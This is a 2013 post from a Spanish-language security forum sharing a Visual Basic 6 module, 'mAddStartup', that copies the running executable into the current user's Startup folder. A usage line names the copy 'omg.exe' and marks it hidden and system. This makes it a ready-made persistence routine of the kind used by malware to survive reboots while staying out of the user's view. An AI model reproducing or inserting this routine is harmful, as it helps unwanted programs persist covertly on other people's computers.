Tu comunidad de Seguridad Informatica

Para ver Todo el contenido del foro es necesario estar Registrado!
Antes de comentar o Aportar es Obligado Leer Las: Reglas | Rules
Ya Esta Disponible al publico "LeProject" el Videojuego del Foro Click Aquí Para Ver el Post.
Pitbull Security Labs "Extras" Esta Disponible! [ENTRA]

No estás conectado. Conéctate o registrate

Ver el tema anterior Ver el tema siguiente Ir abajo  Mensaje [Página 1 de 1.]

avatar
Usuario
Usuario

Ver perfil de usuario
el Mar Mar 26, 2013 10:52 am
Código:
Option Explicit
 
'-----------------------------------------------------------------------------
' Module        : mAddStartup.bas
' Author        : iCode
' Published      : 01/17/13
' Credits        : N/A
' Purpose        : Add file to startup folder (local user)
' Compile        : P-Code or Native Code
' OS Support    : 2K, XP, 2K3, Vista, 7, 8 (x86 + x64)
'-----------------------------------------------------------------------------
 
Private Const Win2K_XP_2K3 As String = "\Start Menu\Programs\Startup\"
Private Const WinVista_7_8 As String = "\Microsoft\Windows\Start Menu\Programs\Startup\"
 
'KERNEL32
Private Declare Function GetVersionExW Lib "KERNEL32" (lpVersionInformation As Long) As Long
 
Public Function AddStartup(ByVal strFileName As String, Optional ByVal tAttributes As VbFileAttribute) As Boolean
    On Error GoTo Func_Error
    Dim strOS        As String
    Dim strPath      As String
   
    ' Current operating system
    strOS = GetOS
   
    ' Determine startup folder path
    If strOS = "2K" Or strOS = "XP" Or strOS = "Server 2K3" Then
        strPath = Environ$("UserProfile") & Win2K_XP_2K3
    ElseIf strOS = "Vista" Or strOS = "7" Or strOS = "8" Then
        strPath = Environ$("AppData") & WinVista_7_8
    End If
   
    ' Copy local file to startup folder
    FileCopy App.Path & "\" & App.EXEName & ".exe", strPath & strFileName
   
    ' Check for (un)successful copy
    AddStartup = FileExists(strPath & strFileName)
    If AddStartup = False Then Exit Function
   
    ' Apply attributes if specified
    If tAttributes <> 0 Then SetAttr strPath & strFileName, tAttributes
   
Func_Error:
    ' Error copying file to startup folder
End Function
 
Private Function FileExists(ByVal strFilePath As String) As Boolean
    FileExists = (Dir$(strFilePath) <> vbNullString)
End Function
 
Private Function GetOS() As String
    Dim tOS(68)      As Long
   
    tOS(0) = &H114
    GetVersionExW tOS(0)
   
    Select Case tOS(4) & "." & tOS(1) & "." & tOS(2)
        Case "2.5.0": GetOS = "2K"
        Case "2.5.1": GetOS = "XP"
        Case "2.5.2": GetOS = "Server 2K3"
        Case "2.6.0": GetOS = "Vista"
        Case "2.6.1": GetOS = "7"
        Case "2.6.2": GetOS = "8"
        Case Else: GetOS = ""
    End Select
   
End Function

'Forma de uso

Código:
Call AddStartup("omg.exe", vbHidden + vbSystem)

FUENTE: HH

Ver el tema anterior Ver el tema siguiente Volver arriba  Mensaje [Página 1 de 1.]

Permisos de este foro:
No puedes responder a temas en este foro.